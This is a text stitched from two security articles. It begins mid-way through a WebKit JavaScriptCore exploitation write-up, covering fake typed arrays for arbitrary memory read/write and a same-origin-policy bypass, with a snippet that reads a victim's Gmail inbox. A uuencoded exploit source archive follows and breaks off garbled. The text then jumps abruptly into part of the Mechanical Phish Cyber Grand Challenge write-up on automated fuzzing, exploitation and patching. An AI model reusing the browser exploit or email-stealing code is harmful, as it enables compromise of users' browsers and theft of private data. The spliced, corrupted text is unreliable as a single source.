slots), but none of them being used. 2. Copy the JSCell header (containing the structure ID) to the container object. We've now caused the engine to "forget" about the properties of the container object that make up our fake array. 3. Set the butterfly pointer of the fake array to nullptr, and, while we're at it also replace the JSCell of that object with one from a default Float64Array instance The last step is required since we might end up with the structure of a Float64Array with some property due to our structure spraying before. These three steps give us a stable exploit. On a final note, when overwriting the code of a JIT compiled function, care must be taken to return a valid JSValue (if process continuation is desired). Failing to do so will likely result in a crash during the next GC, as the returned value will be kept by the engine and inspected by the collector. ----[ 6.5 - Summary At this point it is time for a quick summary of the full exploit: 1. Spray Float64Array structures 2. Allocate a container object with inline properties that together build up a Float64Array instance in its inline property slots. Use a high initial structure ID which will likely be correct due to the previous spray. Set the data pointer of the array to point to a Uint8Array instance. 3. Leak the address of the container object and create a fake object pointing to the Float64Array inside the container object 4. See if the structure ID guess was correct using 'instanceof'. If not increase the structure ID by assigning a new value to the corresponding property of the container object. Repeat until we have a Float64Array. 5. Read from and write to arbitrary memory addresses by writing the data pointer of the Uint8Array 6. With that repair the container and the Float64Array instance to avoid crashing during garbage collection --[ 7 - Abusing the renderer process Usually, from here the next logical step would be to fire up a sandbox escape exploit of some sort for further compromise of the target machine. Since discussion of these is out of scope for this article, and due to good coverage of those in other places, let us instead explore our current situation. ----[ 7.1 - WebKit process and privilege model Since WebKit 2 [22] (circa 2011), WebKit features a multi-process model in which a new renderer process is spawned for every tab. Besides stability and performance reasons, this also provides the basis for a sandboxing infrastructure to limit the damage that a compromised renderer process can do to the system. ----[ 7.2 - The same-origin policy The same-origin policy (SOP) provides the basis for (client-side) web security. It prevents content originating from origin A from interfering with content originating from another origin B. This includes script level access (e.g. accessing DOM objects inside another window) as well as network level access (e.g. XMLHttpRequests). Interestingly, in WebKit the SOP is enforced inside the renderer processes, which means we can bypass it at this point. The same is currently true for all major web browsers, but chrome is about to change this with their site-isolation project [23]. This fact is nothing new and has even been exploited in the past, but it is worth discussing. In essence, this means that a renderer process has full access to all browser sessions and can send authenticated cross-origin requests and read the response. An attacker who compromises a renderer process thus obtains access to all the browser sessions of the victim. For demonstration purposes we will now modify our exploit to display the users gmail inbox. ----[ 7.3 - Stealing emails There is an interesting field inside the SecurityOrigin class in WebKit: m_universalAccess. If set, it will cause all cross-origin checks to succeed. We can obtain a reference to the currently active SecurityDomain instance by following a set of pointers (whose offsets are again dependent on the current Safari version). We can then enable universalAccess for our renderer process and can subsequently perform authenticated cross-origin XMLHttpRequests. Reading emails from gmail then becomes as simple as var xhr = new XMLHttpRequest(); xhr.open('GET', 'https://mail.google.com/mail/u/0/#inbox', false); xhr.send(); // xhr.responseText now contains the full response Included is a version of the exploit that does this and displays the "users" current gmail inbox. For reasons that should be clear by now this does require a valid gmail session in Safari ;) --[ 8 - References [1] http://www.zerodayinitiative.com/advisories/ZDI-16-485/ [2] https://webkit.org/blog/3362/introducing-the-webkit-ftl-jit/ [3] http://trac.webkit.org/wiki/JavaScriptCore [4] http://www.ecma-international.org/ ecma-262/6.0/#sec-ecmascript-data-types-and-values [5] http://www.ecma-international.org/ecma-262/6.0/#sec-objects [6] https://en.wikipedia.org/wiki/Double-precision_floating-point_format [7] http://www.ecma-international.org/ ecma-262/6.0/#sec-array-exotic-objects [8] http://www.ecma-international.org/ ecma-262/6.0/#sec-ecmascript-standard-built-in-objects [9] https://developer.mozilla.org/en-US/docs/Web/JavaScript/ Reference/Global_Objects/Array/slice). [10] https://github.com/WebKit/webkit/ blob/320b1fc3f6f47a31b6ccb4578bcea56c32c9e10b/Source/JavaScriptCore/runtime /ArrayPrototype.cpp#L848 [11] https://developer.mozilla.org/en-US/docs/Web/ JavaScript/Reference/Global_Objects/Symbol/species [12] http://www.ecma-international.org/ecma-262/6.0/#sec-type-conversion [13] https://bugzilla.mozilla.org/show_bug.cgi?id=735104 [14] https://bugzilla.mozilla.org/show_bug.cgi?id=983344 [15] https://bugs.chromium.org/p/chromium/issues/detail?id=554946 [16] https://www.gnu.org/software/guile/manual/html_node/ Conservative-GC.html [17] http://www.ecma-international.org/ ecma-262/6.0/#sec-ecmascript-language-types-number-type [18] http://www.ecma-international.org/ecma-262/6.0/#sec-typedarray-objects [19] https://developers.google.com/v8/design#fast-property-access [20] http://www.ecma-international.org/ ecma-262/6.0/#sec-operations-on-objects [21] http://www.ecma-international.org/ecma-262/6.0/ #sec-ordinary-object-internal-methods-and-internal-slots-delete-p [22] https://trac.webkit.org/wiki/WebKit2 [23] https://www.chromium.org/developers/design-documents/site-isolation --[ 9 - Source code begin 644 src.zip M4$L#!`H``````%&N1DD````````````````$`!P``L``03U`0``!%````!02P,$%`````@`%ZY&2;A,.B1W`P``)@D```X` M'`!S`L``03U`0``!%````"- M5E%OVS80?L^ON'H/DE9;2H:B*&([F)%D78:U*9H@;9$%`2V=;082J9)4;*'M M?]^1LA39L=7J11)Y]]WW'7E'CEZ<79Y>?_EP#@N3I2<'H_J%+#DY`!AI4Z9H MOP"F,BGAF_L$F$EA!C.6\;0\ADP*J7,6X]#-_K".T=K3@<2*YP:TBL>]PO!4 MAP^Z=T(F;OQDVX0+\_I5MTF^%%L&3Q85VUDA8L.E@%P1GI_I>="0!TAD7&0H M3&A%A5P(5->X,O!R#&0)+\'[3WBU&O>*(CCCFDU3U&`6")IE.)"*SSF%D"F/ M2\J)HBFN0:%(4*&BV#)&K8&)!'0QU?BUH*!I62/.T,0+K.83KO.4E15ZH5%I MF&>,I\#%5*Z`SX"M!S1!6F6XXMKH<%.N@WQ'9GY;+WG[+[B^*5)2:D7X07O: M/E6>>K>#._CGZA0>B8#%$]+`8^,6PF0JE>%BW@N&&^X*3:'$T]@Z;6NA5S2; M.V499E*59,Z2:*FX01LXXX8_8MAXT/+ZA-_\/S(%#WJU4#`&@4OX_.[?OXW) M/]I\:K/;=)(DUIS12\Y\-]2B7*O]W:K=A*.$:\-$C/`G]&@K-&BAD5>&_.:4 MO*V(3_$J?:'5=V'WL4_C?@/1A\/5'X?!;B+=-'Y.HMK^YRN,3ZDZ:3MW46H1 M>KV/T%4#6-B]M4;=)K8S;!=-@J.%+R]=\7QPM=/%=">^Y7VTE_>.",]8[V'Q MR\0[*>\![\.;7Z+<3;:#IBTU:>M,H:>K9C25,D4F(&9IB@ED]X7@MKA9.HEM M^]/;_V^N`M MJ`#T<1391A?.I9Q3SXEEYOZC(CJ,?G/MD$QG+-782F8%IJGU/NL'"G4NA49: MKLJJ'K`]?[BYQH8IT7&M1D=$#1P.?,]:W)SJ]E=U>`L` M`03U`0``!%````"]5_UNVS80_]]/<0NP6D)MQ0F"+&B:`5G;#=NP#*B[%5C1 M`;1$V6QDTB,IQ\::O9B^V.U*2J8^F'5#,"!";.M['[SY^I^/CT?$QO!)R M#VN5E04'NV(6-EIM1<8-+,02HO.SA;`Q"&GYDFN3X!6Z]4QM]EHL5Q:B-(;3 MVH)3H-=!^4%%PN[0J^A%.XNH*381WC&3F]K<)OGA!48OG"PW^%J*[X MKA#Y/MI.X*)CS6&:&&XC!V:2:[6.FMMQHOD6RX%'>YNRV"XI:O..I'0(% MRP)AD2GEQ>4^S$W?EVWBOO>LW@,OT%#_:@NT+ZXPS)X(?>Q*JSMXA?7Q0FM, M\I&OV75I+*S8%FMVE[+4%GNX0$M\C9UADJ..$QU7NRY^'"8J\UQ(GG60Z@BC M$"L+VY;I1>#0A%0AOKI,L2>QJ:O.Q^PSO2PIBB:(^U'=<"^Y+35*0*;*!;;K MW0HKUC6Y8>MV+^)@:"8%H_[U/6E7PB3,//?WKZ#N[BA,+@VL%4]O(4?7;MA- M\X!2YF!\\]5;JO'9+L_AT:/Z\/QP^/X]=,YXIZD\*C077C*Y#*!QPRI%(*2R ML."','!R+?9-\$=QT$/:`S-W>":EW+#T-JI^X6Q@B/?$.U1C>MD']1W;,I-J ML;'8CT6)\/Y7=-U,Q#F+?TIB16Z4,8*`)B#K.4WCEI1J"AO>S':SV>QD%GPF M#L(\#\_B6G]6.A:H"@!KB'J=QK,O)R:H_,-4_S#_U07S@5Q32MLYI82VIPNUPS1,4.P9L"PS`CT1=[1`UV?9`Z'%IX.,W MS(@4L<8AL>96I,$(P%INS&(Z7`GXGN<&Z<%'0]V[WI1^?E#QXI'0,";_Q^!Y M.6FL/>>ITHRX@F:)9Y":H$%MN'9J3`*OV"TF.V6:UU?1FI\3E@"IZ<60R;8> M0].@HJ+,A]-L?XV)*)^`1"5F`,Y!J.LITQ@..-\KZE&U'QS5O+C!&<&E*I>K MP'<"H?'M"%.8)Q*'=(?822JB]A58![-+_/<4NF[@Z>/'?1?(XR\./F.1]O>A MX86E=<=OOGYU#A]T'*WQ2]AF4^RK4='(!\+WW97`=<453"7NT'<*)QX5E5^# MXI`&J`1O./5#D,D:0,F7D0QS-@31BA[5VOO^`1Y=#CZG4_JQ:-9.2+F#BC MOU1G-3[AJW"U-@RN$%G5"54LA]E1AQGFGE!_0V(C6&N=J[8AX[1;VTF!F_8YAZM3^QK5JS7%:VIK1U7KB MII?;`)A%*#$1#N_#C@!W',71!K44WVT*)1PIO^:+'X5-$G@2C_X%4$L#!!0` M```(``^N1DF4@XGQ3`,``%`(```,`!P`=B._W#FX?AY/>/$L)7"*TK("2TX.B//"JB28=.!QYY'%*0 M!G#.X>[;Y-A342Q"[H.G?$XIT8J-9J]F M3NE(M"SG\L+4=$;LC5-EAGEA;O-Y9UO*Q@"9GG%T5MN`DA!6=1D5VCRYMTI[ M:4-`UA#,>G;K?)159\$T"+B";H^&/IQTN_:IU=K%G>L2S4_)&=F2-Z8 M0'':B1&/E%Z3%?,[2RV0VY)$`JE!2[FTM1QBK7KXKI:I/6=F#3'3>%E=!3AQ MX9ZS-^K^6%&)N094]*?,"/5;D?&ZY6EN:;T7MO2K@*^XEZ!MB%QUW>[,A:PD%61OU_0^H*]]7Y,%HT$%CIVI@(H&;[W` M9K>4K::FK]Q#^`(-.E\*7]5,6XXR[IPIB]ZU-?MFST6'YIW"N@VGY\W=`D9E M`H4TR.R1D5'7*;8%O`HME7KNM6#Z)<5;I['&\CI3P2=[@] MI$PDU%KD-NWM?;YM58N>R[>PS&\OR^8-^)WLUZ-N+ MT_XMQNS%X1]02P,$%`````@`)*Y&2>G85Y(7"@``Z!H```H`'`!S-E M3H>K6B]D+@SC;#`7Z'XX)A=\GDC%'M=ZW__ M*YQZ+WYK)"ZRQDIETB_&Z9"E/3["!SKD9=6BS2\T*J&=*+*`S7.96ZC*2<(*?^5=9SIB>]BZ06'Q^PQ?\,JME M90,XWCC"DD^DDG9%P&1`!H#HIF9Z6;(I_RIVW$SO>6]M4Y=>@E=&>N@CV5UN MWV.Z9L;6,#"]-VW*S)E/5_4T\2>&[/L]AM>"UXCF4W9U?>H^3W$SH2\EOAR? MXNT).QC3'WM[0W>"7CRM&E,DDNVQ<7KPZ-%/P]/V)P9[G]4U1X0;8XD-9.JJ M$O[;3](6+W0S48"K,V`"73PU2F8B&8_8]P57C;B8GK#6]@3FXH02Y0V1I;'$#KM0)=;ENG2 M(D&(\&\N+SRTE0;-1$TQ[",0PN*8]:&0N*"47AI$F4]MX,D=(09KG:"/;Z-8 MT5G\GI#<[5#][Y'Z?AM%Z,>B=`;?Y:S130@4F4)QPEO*30!S'>L_%$,2N!E! MA*B-T%DALJ],>KKCKBP%`[Z+1I6BYK`A0DV:C]W720M;$'Q?FG?\71*2`'A$ M3G1T^-50K$A3G^M(6KT0(WP+M9TJ(Q"YID)F;]R+4 M3.D)5UN%U/..>TZ$6MH54J)Q5$WQ=:\\JJ2=E=6R3&+ZH"8T1+DHWSN'*L3] MTOW>0$YW+9#E`ZSI?CU_\8$@=F:&%&&%1DJS!%8;T7U)/L@R%S=MO2K%C847 M0C"CM!W%&E!.9IBR2UEFE*.B)F6-R@DJ MSB#391HI$"4*(*I,I")89)WQ5'F=TUT*&#T72X)?\7J&B+4W.XQJ0*_GEZZP MK@$4\>PMMT7J#R;#U.IP^M'Q,*U%I3C28__J'_SAM^N]_=F(#0;#U#03!(:R MYL\AG^AUV^O?D>GC&^1Z2/8-0]HZ48HE>Z4T1_US29T<1-+;&I"C.[N3Z.V5 MJ-=ZD_^ABSK@,Y8#]W1-"K]:A^4:JJDEK.L*S//5B/?%B`(O1.7BTFOJ^J9R MJ;,.R:VO1X&4@)02'V:WWXY3=M8Z$`C1\]J!&:/2>67:^P>@%V)9$0FI9&^> MQ@2$'-1$OF#H@(JXHLH44)24A4$<7F1GSBWO>H=[ITN4P>Q7O#]VXKM+ARW% ME[BIRX%E7TN]="AENJZI4)@.K?,7;@S9[=8HL@/"II1EF(8:5^D&[2D]'72Z M'Z7L$S(5Z@J^$.L5CJK0WD9I8Z:UE-*^ULJ9&?L;F4"&EKL\/O):A:]V4WG# M?`0$>0U;#=+3-UQ8PV>D3"G@@'`N'4!HM:8(M5MGKAFWLA%.D@8R#-SD9'Z$ M#MZRK;)XVDD-)'-3F;OJ2O=2*K55MW]L`&Z3M^`W(7U[G!*?\-OJ_501AA,O M`Y$I;?+@ZD_7Y+D;/^!]J,D=:1^TLDCE%W,FE/HK;!5UT.T&I^2J2[XQZA,9 M,?)_X=\N@^>?3=\:1BQKP-#2LEGCHL!^YP4!;R[/W,24<4IZ:JX[PE3J\F'K M*#K-RQN1-:Z4FQ%0GC6HVC2O$YI4K$,-&;$T38<_8D3>4`EX375+V;*&E MF]O1T28K5LG,C?S<+PBR!/O1P,]?]"Z.;SI8-J7//[M&"`$?,&:-V#M=BNC> MX4^[+KI[UIU?(VF2:V&(]."`4N`2MTBS44>^7$ZGPL6`@-.*HKH0->%BAI'6 M@\=W:ITJ/@-X%[A6T\[W6MB+9?E+Z!*75%C_21P1=28JN^/GYZMS<,I+S$]D5XB>6G`AGD+E['W.V)_33JA#&C M3]8^8?![<_F1QM-DV$\@DX8@G*H5)E:NC(CH?8FY($I<-]D":S$`V%2HW&1( MUJ$H>PH;G#"$`\8:%6L#15OU*ELA4I*QLE*IL M/6SE)P<^RNW4#&724J M!*_:,NG\H/%WU(\(2XZ$I[6TEK,9\'M]ENY,![#)R%E)1(B_'H5=^:(4T:#8 M<23=Z!%WI=3IQI#VEJ]HMG8@DY6.7ZBRS73J'$A3=O++%O-B,-@/Z^D\H^?B&:^&B_9M4CT+M MV=P96NB?7+/WN$5MCA`.R_H>/DQ6M+:Z!;0M`QOK1$?NJ\/KNQX4=&4QVE'\ M?!/LVA"Y8_/Q!S<><[0O?B5)-ZHM_EB7U3ZCB#:LT;TUK!S]-P"[8\OK"S85 M_Y1N!WP=Z79I<-39"@?QYZY@_'S-/N%2&PPZFFY%!/G^?XC'+J`C?7>@[6'& M#3JZ!OB6X[NP'5%=OP-@!ZN[V1]-GF M7Y[:60&XS:F]81=26G\-CQU*)N85EF`=C=.0^GS%G_1[0EEJ?VSW+T+K=^2'1[31* M_PBQC?;N9<7K@ZY6,4ZTHCSO6G#23I)MMVT?/6'"EL91O[0 MVOK?_&KOQQ/)+M\ZE\. MTVU'HCDL=N;P"/^Y#8.*.L?0_6SCRUVT>F6@? MD$E)3@T',)I-/#U#7PN:DDQI0QMA0+1#+HVW@.YO M>J[['U!+`P04````"`"Z;D9)MPF8]%<#``!?"```#``<`'-R8R]U=&ELJ]E=U>`L``03U`0``!%````"E5>%NVS80_N^GN!88+,.> M[#A#$,3S@+9PBP)=,33I@"$+"EJB(JX4*9"4,Z'(L^QA^F*](R6+2A,,V/1' MPMW'.WX?OZ.6R\ER"1^=D,*U4#0J&6*\>H*.C"(V[%@2O8MXZG MD[XA+4OV,_@R`7Q,*)=,5U.8PSYU^M(9H6Z3D[/9++7-WCJ3_+B>;2;W_Z<] M,&-8.]Z$%$6;4-+VFSDP@Y4L;.'Z9N,CA3:04%A@<+7!U\^^GDTE5[>NQ,A\ M/O/0P,:F=6/+Q',DW+6XF>'F8ZX$^DL+E4RGC]':"\5,"SES;*#%)XH#ZWZ*)0[?T%:/VBU!#K#IR0=82DTWR+^N*M.R>7Z M!I?4S%C^5KF^0><1L<`5"T#;C-7V:[W,\=GG354G)'$LCD/*Z!P*IR__N-I= M?OIM]^'3[MWNU]W[*WB&2DT;E?-"*)Y/A]WYD]J"9YT61E>A<*20Q!7_YBK? M=20`4NDVU]?)RD9]QB4>:Z7(.-$6^G!RWLG03\CO`@%'9#0GH4R$;C!WN@[X`7VZ?@)>2,W< MV4\>'^"O0^0!/CZ-P5;$[N+X,_`CL,"RLN&Q^?I>A]"$4)L^3H?(\=KB4M^- M%R#X>D4CZ^MM1LEN(X]JX=U&/;Z?PLB`]XO)\3N#_42W MT4)ZPOWXX%ZD:O[_IT3;G!@$.R<]E%;+`Q0````(`!>N1DFX3#HD=P,``"8)```.`!@` M``````$```"D@3X```!S`Q0````(`/1N1DD56OBT%@8``&@2```,`!@```````$` M``"D@?T#``!S`L``03U`0``!%````!0 M2P$"'@,4````"``/KD9)E(.)\4P#``!0"```#``8```````!````I(%9"@`` MG85Y(7"@``Z!H```H`&````````0```*2!ZPT``'-R8R]P=VXN M:G-55`4``[.J]E=U>`L``03U`0``!%````!02P$"'@,4````"`"Z;D9)MPF8 M]%<#``!?"```#``8```````!````I(%&&``` + AFL + | | + + + + | | + Symbolic + + Genetic + | | + Tracing + <===== + Fuzzing + | | ++++++++++++++ ++++++++++++++ | | | ----------------------------------------- There are a few things we considered when we thought about how we wanted to find bugs in the Cyber Grand Challenge. Firstly, we will need to craft exploits using the bugs we find. As a result, we need to use techniques which generate inputs that trigger the bugs, not just point out that there could be a bug. Secondly, the bugs might be guarded by specific checks such as matching a command argument, password or checksum. Lastly, the programs which we need to analyze might be large, so we need techniques which scale well. The automated bug finding techniques can be divided into three groups: static analysis, fuzzing, and symbolic execution. Static analysis is not too useful as it doesn't generate inputs which actually trigger the bug. Symbolic execution is great for generating inputs which pass difficult checks, however, it scales poorly in large programs. Fuzzing can handle fairly large programs, but struggles to get past difficult checks. The solution we came up with is to combine fuzzing and symbolic execution, into a state-of-the-art guided fuzzer, called Driller. Driller uses a mutational fuzzer to exercise components within the binary, and then uses symbolic execution to find inputs which can reach a different component. * Fuzzing Driller leverages a popular off-the-shelf fuzzer, American Fuzzy Lop. AFL uses instrumentation to identify the transitions that a particular input exercises when it is passed to the program. These transitions are tuples of source and destination basic blocks in the control flow graph. New transition tuples often represent functionality, or code paths, that has not been exercised before; logically, these inputs containing new transition tuples are prioritized by the fuzzer. To facilitate the instrumentation, we use a fork of QEMU, which enables the execution of DECREE binaries. Some minor modifications were made to the fuzzer and to the emulation of DECREE binaries to enable faster fuzzing as well as finding deeper bugs: - De-randomization Randomization by the program interferes with the fuzzer's evaluation of inputs - an input that hits an interesting transition with one random seed, may not hit it with a different random seed. Removing randomness allows the fuzzer to explore sections of the program which may be guarded by randomness such as "challenge-response" exchanges. During fuzzing, we ensure that the flag page is initialized with a constant seed, and the random system call always returns constant values so there is no randomness in the system. The Exploitation component of our CRS, is responsible for handling the removal of randomness. - Double Receive Failure The system call receive fails after the input has been completely read in by the program and the file descriptor is now closed. Any binary which does not check the error codes for this failure may enter an infinite loop, which slows down the fuzzer dramatically. To prevent this behavior, if the receive system call fails twice because the end-of-file has been reached, the program is terminated immediately. - At-Receive Fork Server AFL employs a fork server, which forks the program for each execution of an input to speed up fuzzing by avoiding costly system calls and initialization. Given that the binary has been de-randomized as described above, all executions of it must be identical up until the first call to receive, which is the first point in which non-constant data may enter the system. This allows the fork-server to be moved from the entry of the program, to right before the first call to receive. If there is any costly initialization of globals and data structures, this modification speeds up the fuzzing process greatly. * Network Seeds Network traffic can contain valuable seeds which can be given to the fuzzer to greatly increase the fuzzing effectiveness. Functionality tests exercise deep functionality within the program and network traffic from exploits may exercise the particular functionality which is buggy. To generate seeds from the traffic, each input to the program is run with the instrumentation from QEMU to identify if it hits any transitions which have not been found before. If this condition is met, the input is considered interesting and is added as a seed for the fuzzer. * Adding Symbolic Execution Although symbolic execution is slow and costly, it is extremely powerful. Symbolic execution uses a constraint solver to generate specific inputs which will exercise a given path in the binary. As such, it can produce the inputs which pass a difficult check such as a password, a magic number, or even a checksum. However, an approach based entirely on symbolic execution will quickly succumb to path explosion, as the number of paths through the binary exponentially increases with each branch. Driller mitigates the path-explosion problem by only tracing the paths which the fuzzer, AFL, finds interesting. This set of paths is often small enough that tracing the inputs in it is feasible within the time constraints of the competition. During each symbolic trace, Driller attempts to identify transitions that have not yet been exercised by the fuzzer, and, if possible, it generates an input which will deviate from the trace and take a new transition instead. These new inputs are fed back into the fuzzer, where they will be further mutated to continue exercising deeper paths, following the new transitions. * Symbolic Tracing To ensure that the symbolic trace using angr's concolic execution engine is identical to the native execution trace, we use pre-constraining. In pre-constrained execution, each byte of input is constrained to match the original byte of input that was used by the fuzzer. When a branch is reached that would lead to a new transition, the pre-constraints are removed and then the solver is queried for an input which reaches the new transition. Pre-constraining also has the benefit of greatly improving execution time, because one does not need to perform expensive solves to determine the locations of reads and writes to memory because all variables have only one possible value. --[ 003 - The Exploiting Component Crashes Inputs || || || || ======================== || || || || || || || \/ \/ \/ -------------------- -------------------- -------------------- | REX | | PovFuzzer | | Colorguard | | | | | | | | ++++++++++++++ | | ++++++++++++++ | | ++++++++++++++ | | + Advanced + | | + Fuzzing + | | + Finding + | | + AEG + | | + For + | | + Leaks + | | + + | | + Exploits + | | + + | | ++++++++++++++ | | ++++++++++++++ | | ++++++++++++++ | | | | | | | | ... | | | | | -------------------- -------------------- -------------------- || || || ================================================ || \/ POVs * Exploitation In the Cyber Grand Challenge, stealing flags is a little different than it is in ordinary Capture the Flag games. Instead of reading a secret "flag" file and submitting the contents to the organizers, an exploit is demonstrated by submitting a Proof of Vulnerability (POV), which the organizers will run. A POV is a binary program, which will communicate with the opponent's binary and "exploit" it. There are two ways in which a POV can be considered successful: - Type 1: Cause a segmentation fault where the instruction pointer and one additional register have values which were previously negotiated with the competition infrastructure. Must control at least 20 bits of EIP as well as 20 bits of another register. - Type 2: Read 4 contiguous bytes from the secret flag data. The flag data is located at 0x4347c000-0x4347cfff and is randomly initialized by the kernel. Different types of vulnerabilities might lend themselves to a specific type of POV. For example, a vulnerability where the user can control the address passed to puts() might only be usable as a Type 2 POV. On the other hand, a stack-based buffer overflow can clearly be used to create a Type 1 exploit simply by setting a register and EIP, but it can also be used to create a Type 2 exploit by using Return Oriented Programming or by jumping to shellcode which prints data from the flag page. * Overview The basic design for Mechanical Phish's automatic exploitation is to take crashes, triage them, and modify them to create exploits. Mechanical Phish does not need to understand the root cause of the bug, instead it only needs to identify what registers and memory it controls at crash time, and how those values can be set to produce a POV. We created two systems which are designed to go from crashes to exploits. - PovFuzzer Executes the binary repeatedly, slightly modifying the input, tracking the relationship between input bytes and registers at the crash point. This method is fast, but cannot handle complex cases. - Rex Symbolically executes the input, tracking formulas for all registers and memory values. Applies "techniques" on this state, such as jumping to shellcode, and return oriented programming to create a POV. Now this design was missing one important thing. For some challenges the buggy functionality does not result in a crash! Consider a buffer over-read, where it reads passed the end of the buffer. This may not cause a crash, but if any copy of flag data is there, then it will print the secret data. To handle this, we added a third component. - Colorguard Traces the execution of a binary with a particular input and checks for flag data being leaked out. If flag data is leaked, then it uses the symbolic formulas to determine if it can produce a valid POV. --[ 003.001 - PovFuzzer The PovFuzzer takes a crash and repeatedly changes a single byte at a time until it can determine which bytes control the EIP as well as another register. Then a Type 1 POV can be constructed which simply chooses the input bytes that correspond to the negotiated EIP and register values, inserts the bytes in the payload, and sends it to the target program. For crashes which occur on a dereference of controlled data, the PovFuzzer chooses bytes that cause the dereference to point to the flag page, in the hope that flag data will be printed out. After pointing the dereference at the flag page, it executes the program to check if flag data is printed out. If so, it constructs a Type 2 POV using that input. The PovFuzzer has many limitations. It cannot handle cases where register values are computed in a non-trivial manner, such as through multiplication. Furthermore it cannot handle construction of more complex exploits such as jumping to shellcode, or where it needs to replay a random value printed by the target program. Even so, it is useful for a couple reasons. Firstly, it is much faster than Rex, because it only needs to execute the program concretely. Secondly, although we don't like to admit it, angr might still have occasional bugs, and the PovFuzzer is a good fallback in those cases as it doesn't rely on angr. --[ 003.002 - Rex The general design of Rex is to take a crashing payload, use angr to symbolically trace the program with the crashing payload, collecting symbolic formulas for all memory and input along the way. Once we hit the point where the program crashes, we stop tracing, but use the constraint solver to pick values that either make the crash a valid POV, or avoid the crash to explore further. There are many ways we can choose to constrain the values at this point, each of which tries to exploit the program in a different way. These methods of exploiting the program are called "techniques". One quick thing to note here is that we include a constraint solver in our POVs. By including a constraint solver we can simply add all of the constraints collected during tracing and exploitation into the POV and then ask the constraint solver at runtime for a solution that matches the negotiated values. The constraint solver, as well as angr, operates on bit-vectors enabling the techniques to be bit-precise. Here we will describe the various "techniques" which Rex employs. - Circumstantial Exploit This technique is applicable for ip-overwrite crashes and is the simplest technique. It determines if at least 20 bits of the instruction pointer and one register are controlled by user input. If so, an exploit is constructed that will negotiate the register and ip values and then solve the constraints to determine the user input that sets them correctly. - Shellcode Exploit Also only applicable to ip-overwrites, this technique will search for regions of executable memory that are controlled by user input. The largest region of controlled executable memory is chosen and the memory there is constrained to be a nop-sled followed by shellcode to either prove a type-1 or type-2 vulnerability. A shellcode exploit can function even if the user input only controls the ip value, and not an additional register. - ROP Exploit Although the stack is executable by default, opponents might employ additional protections that prevent jumping to shellcode, such as remapping the stack, primitive Address Randomization or even some form of Control Flow Integrity. Return Oriented Programming (ROP) can bypass incomplete defenses and still prove vulnerabilities for opponents that employ them. It is applicable for ip-overwrite crashes as long as there is user data near the stack pointer, or the binary contains a gadget to pivot the stack pointer to the user data. - Arbitrary Read - Point to Flag A crash that occurs when the program tries to dereference user- controlled data is considered an "arbitrary read". In some cases, by simply constraining the address that will be dereferenced to point at flag data, the flag data will be leaked to stdout, enabling the creation of a type-2 exploit. Point to Flag constrains the input to point at the flag page, or at any copy of flag data in memory, then uses Colorguard to determine if the new input causes an exploitable leak. - Arbitrary Read/Write - Exploration In some cases, the dereference of user-controlled data can lead to a more powerful exploit later. For example, a vtable overwrite will first appear as an arbitrary read, but if that memory address points to user data, then the read will result in a controlled ip. To explore arbitrary reads/writes for a better crash, the address of the read or write is constrained to point to user data, then the input is re-traced as a new crash. - Write-What-Where If the input from the user controls both the data being written and the address to which it is written, we want to identify valuable targets to overwrite. This is done by symbolically exploring the crash, to identify values in memory that influence the instruction pointer, such as return addresses or function pointers. Other valuable targets are pointers that are used to print data; overwriting these can lead to type-2 exploits. --[ 003.003 - Colorguard As explained above, there are some challenges which include vulnerabilities that can leak flag data, but do not cause a crash. One challenge here is that it is difficult to detect when a leak occurs. You can check if any 4 bytes of output data are contained in the flag page, but this will have false positives while fuzzing, and it will miss any case where the data is not leaked directly. The challenge authors seem to prefer to xor the data or otherwise obfuscate the leak, maybe to prevent such a method. To accurately detect these leaks we chose to trace the inputs symbolically, using angr. However, symbolic tracing is far too slow to run on every input that the fuzzer generates. Instead, we only perform the symbolic tracing on the inputs which the fuzzer considers "interesting". The hope here is that the leak causing inputs have a new transition, or number of loops which is unique, and that the fuzzer will consider it interesting. There are definitely cases where this doesn't work, but it's a fairly good heuristic for reducing the number of traces. In an effort to further combat the slowness of symbolic execution, Colorguard takes advantage of angr's concrete emulation mode. Since no modification of the input has to be made if a flag leak is discovered, our input is made entirely concrete, with the only symbolic data being that from the flag page. This allows us to only execute symbolically those basic blocks that touch the secret flag page contents. Colorguard traces the entire input concretely and collects the symbolic expression for the data that is printed to stdout. The expression is parsed to identify any four consecutive bytes of the flag page that are contained in the output. For each set of bytes, the solver is queried to check if we can compute the values of the bytes only from the output data. If so, then an exploit is crafted which solves for these four bytes after receiving the output from the program execution. One caveat here is that challenges may use many bytes of the flag page as a random seed. In these cases we might see every byte of the flag page as part of the expression for stdout. Querying the constraint solver for every one of these consecutive four byte sequences is prohibitively slow, so it is necessary to pre-filter such expressions. Colorguard does this pre-filter during the trace by replacing any expression containing more than 13 flag bytes with a new symbolic variable. The new symbolic variable is not considered a potential leak. The number 13 was arbitrarily chosen as it was high enough to still detect all of the leaks we had examples for, but low enough that checking for leaks was still fast. --[ 003.004 - Challenge Response A common pattern that still needs to be considered is where the binary randomly chooses a value, outputs it, and then requires the user to input that value or something computed from the random value. For example, the binary prints "Solve the equation: 6329*4291" and then the user must input "27157739". To handle these patterns in the exploit, we identify any constraints that involve both user input and random data. Once identified, we check the output that has been printed up to that point if it contains the random data. If so, then we have identified a challenge-response. We will include the output as a variable in the constraints that are passed to the exploit, and then read from stdout, adding constraints that the output bytes match what is received during the exploit. Then the solver can be queried to generate the input necessary for the correct "response". --[ 004 - The Patching Component: Patcherex Original Binary (CB) || || ||=============================================== || || || || \/ \/ -------------------- -------------------- -------------------- | TECHNIQUES | | PATCHES | | BACKENDS | | | | | | | | ++++++++++++++ | | | | | | + Return + | | - AddROData() | | | | + Pointer + --------> - AddCode() | | +++++++++++++++ | | + Encryption + | | - ... | | + Detour + | | ++++++++++++++ | | | | + Backend + | | | | | | + + | | ++++++++++++++ | | | | +++++++++++++++ | | + Transmit + | | - InsertCode() | | | | + Protection + --------> - AddRWData() |==>| OR | | + + | | - ... | | | | ++++++++++++++ | | | | +++++++++++++++ | | | | | | + Reassembler + | | ++++++++++++++ | | | | + Backend + | | + + | | - AddCode() | | + + | | + Backdoor + --------> - AddRWData() | | +++++++++++++++ | | + + | | - ... | | | | ++++++++++++++ | | | | | | | | | | | | ... | | | | | -------------------- -------------------- -------------------- || || \/ Replacement Binary (RB) Patcherex, which is built on top of angr, is the central patching system of Mechanical Phish. As illustrated in the overview image, Patcherex is composed of three major components: techniques, patches, and patching backends. * Techniques A technique is the implementation of a high-level patching strategy. A set of patches (described below) with respect to a binary are generated after applying a technique on it. Currently Patcherex implements three different types of techniques: - Generic binary hardening techniques, including Return Pointer Encryption, Transmit Protection, Simple 